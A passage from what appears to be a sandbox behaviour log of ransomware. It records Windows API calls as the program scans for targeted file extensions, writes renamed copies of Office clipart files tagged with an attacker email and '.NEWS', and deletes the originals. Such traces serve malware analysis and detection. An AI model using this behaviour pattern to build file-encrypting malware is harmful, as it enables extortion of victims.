liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0232.221] GetLastError () returned 0x0 [0232.221] ReadFile (in: hFile=0x324, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0232.236] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0232.241] ReadFile (in: hFile=0x324, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.241] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.242] SetEndOfFile (hFile=0x3ac) returned 1 [0232.242] CloseHandle (hObject=0x3ac) returned 1 [0232.243] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.243] SetEndOfFile (hFile=0x324) returned 1 [0232.253] CloseHandle (hObject=0x324) returned 1 [0232.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0232.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.287] lstrlenW (lpString=".doc") returned 4 [0232.287] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.287] lstrlenW (lpString=".docx") returned 5 [0232.288] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.288] lstrlenW (lpString=".pdf") returned 4 [0232.288] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.288] lstrlenW (lpString=".xls") returned 4 [0232.288] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.288] lstrlenW (lpString=".xlsx") returned 5 [0232.288] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.288] lstrlenW (lpString=".ppt") returned 4 [0232.288] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.288] lstrlenW (lpString=".zip") returned 4 [0232.288] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.288] lstrlenW (lpString=".rar") returned 4 [0232.288] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.289] lstrlenW (lpString=".bz2") returned 4 [0232.289] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.289] lstrlenW (lpString=".7z") returned 3 [0232.289] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.289] lstrlenW (lpString=".dbf") returned 4 [0232.289] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.289] lstrlenW (lpString=".1cd") returned 4 [0232.289] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.289] lstrlenW (lpString=".jpg") returned 4 [0232.289] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.290] lstrlenW (lpString=".doc") returned 4 [0232.290] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.290] lstrlenW (lpString=".docx") returned 5 [0232.290] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.290] lstrlenW (lpString=".pdf") returned 4 [0232.290] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.290] lstrlenW (lpString=".xls") returned 4 [0232.290] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.291] lstrlenW (lpString=".xlsx") returned 5 [0232.291] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.291] lstrlenW (lpString=".ppt") returned 4 [0232.291] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.291] lstrlenW (lpString=".zip") returned 4 [0232.291] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.291] lstrlenW (lpString=".rar") returned 4 [0232.291] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.291] lstrlenW (lpString=".bz2") returned 4 [0232.291] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.291] lstrlenW (lpString=".7z") returned 3 [0232.291] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.292] lstrlenW (lpString=".dbf") returned 4 [0232.292] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.292] lstrlenW (lpString=".1cd") returned 4 [0232.428] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0232.429] lstrlenW (lpString=".jpg") returned 4 [0232.429] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.430] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.430] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0232.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0232.533] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=6644) returned 1 [0232.533] CloseHandle (hObject=0x338) returned 1 [0232.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0232.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.602] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.602] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0232.603] GetLastError () returned 0x0 [0232.603] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x19f4, lpOverlapped=0x0) returned 1 [0232.611] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0232.615] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.615] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.615] SetEndOfFile (hFile=0x1c0) returned 1 [0232.615] CloseHandle (hObject=0x1c0) returned 1 [0232.616] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.616] SetEndOfFile (hFile=0x35c) returned 1 [0232.624] CloseHandle (hObject=0x35c) returned 1 [0232.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0232.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.625] lstrlenW (lpString=".doc") returned 4 [0232.626] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.626] lstrlenW (lpString=".docx") returned 5 [0232.626] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.626] lstrlenW (lpString=".pdf") returned 4 [0232.626] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.626] lstrlenW (lpString=".xls") returned 4 [0232.626] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.626] lstrlenW (lpString=".xlsx") returned 5 [0232.626] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.626] lstrlenW (lpString=".ppt") returned 4 [0232.626] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.627] lstrlenW (lpString=".zip") returned 4 [0232.627] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.627] lstrlenW (lpString=".rar") returned 4 [0232.627] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.627] lstrlenW (lpString=".bz2") returned 4 [0232.627] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.627] lstrlenW (lpString=".7z") returned 3 [0232.627] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.627] lstrlenW (lpString=".dbf") returned 4 [0232.627] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.627] lstrlenW (lpString=".1cd") returned 4 [0232.628] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.628] lstrlenW (lpString=".jpg") returned 4 [0232.628] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.628] lstrlenW (lpString=".doc") returned 4 [0232.628] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.628] lstrlenW (lpString=".docx") returned 5 [0232.628] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.628] lstrlenW (lpString=".pdf") returned 4 [0232.629] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.629] lstrlenW (lpString=".xls") returned 4 [0232.629] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.629] lstrlenW (lpString=".xlsx") returned 5 [0232.629] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.629] lstrlenW (lpString=".ppt") returned 4 [0232.629] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.629] lstrlenW (lpString=".zip") returned 4 [0232.629] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.629] lstrlenW (lpString=".rar") returned 4 [0232.629] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.630] lstrlenW (lpString=".bz2") returned 4 [0232.630] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.630] lstrlenW (lpString=".7z") returned 3 [0232.630] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.630] lstrlenW (lpString=".dbf") returned 4 [0232.630] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.630] lstrlenW (lpString=".1cd") returned 4 [0232.630] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0232.630] lstrlenW (lpString=".jpg") returned 4 [0232.630] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.631] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.631] lstrlenW (lpString="PARNT_01.MID") returned 12 [0232.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.633] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=6491) returned 1 [0232.633] CloseHandle (hObject=0x35c) returned 1 [0232.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0232.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.634] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.638] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0232.639] GetLastError () returned 0x0 [0232.639] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x195b, lpOverlapped=0x0) returned 1 [0232.644] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x1960, lpOverlapped=0x0) returned 1 [0232.647] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.647] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.647] SetEndOfFile (hFile=0x1c0) returned 1 [0232.648] CloseHandle (hObject=0x1c0) returned 1 [0232.648] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.648] SetEndOfFile (hFile=0x35c) returned 1 [0232.656] CloseHandle (hObject=0x35c) returned 1 [0232.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0232.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.658] lstrlenW (lpString=".doc") returned 4 [0232.658] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.658] lstrlenW (lpString=".docx") returned 5 [0232.658] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.659] lstrlenW (lpString=".pdf") returned 4 [0232.659] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.659] lstrlenW (lpString=".xls") returned 4 [0232.659] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.659] lstrlenW (lpString=".xlsx") returned 5 [0232.659] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.659] lstrlenW (lpString=".ppt") returned 4 [0232.659] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.659] lstrlenW (lpString=".zip") returned 4 [0232.659] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.659] lstrlenW (lpString=".rar") returned 4 [0232.660] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.660] lstrlenW (lpString=".bz2") returned 4 [0232.660] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.660] lstrlenW (lpString=".7z") returned 3 [0232.660] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.660] lstrlenW (lpString=".dbf") returned 4 [0232.660] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.660] lstrlenW (lpString=".1cd") returned 4 [0232.660] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.661] lstrlenW (lpString=".jpg") returned 4 [0232.661] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.661] lstrlenW (lpString=".doc") returned 4 [0232.661] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.661] lstrlenW (lpString=".docx") returned 5 [0232.661] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.661] lstrlenW (lpString=".pdf") returned 4 [0232.661] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.662] lstrlenW (lpString=".xls") returned 4 [0232.662] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.662] lstrlenW (lpString=".xlsx") returned 5 [0232.662] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.662] lstrlenW (lpString=".ppt") returned 4 [0232.662] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.662] lstrlenW (lpString=".zip") returned 4 [0232.662] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.662] lstrlenW (lpString=".rar") returned 4 [0232.662] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.663] lstrlenW (lpString=".bz2") returned 4 [0232.663] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.663] lstrlenW (lpString=".7z") returned 3 [0232.663] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.663] lstrlenW (lpString=".dbf") returned 4 [0232.663] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.663] lstrlenW (lpString=".1cd") returned 4 [0232.663] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0232.663] lstrlenW (lpString=".jpg") returned 4 [0232.663] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.664] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.664] lstrlenW (lpString="PARNT_02.MID") returned 12 [0232.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.665] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=5714) returned 1 [0232.665] CloseHandle (hObject=0x35c) returned 1 [0232.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0232.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.849] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.849] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0236.077] GetLastError () returned 0x0 [0236.077] ReadFile (in: hFile=0x324, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x1652, 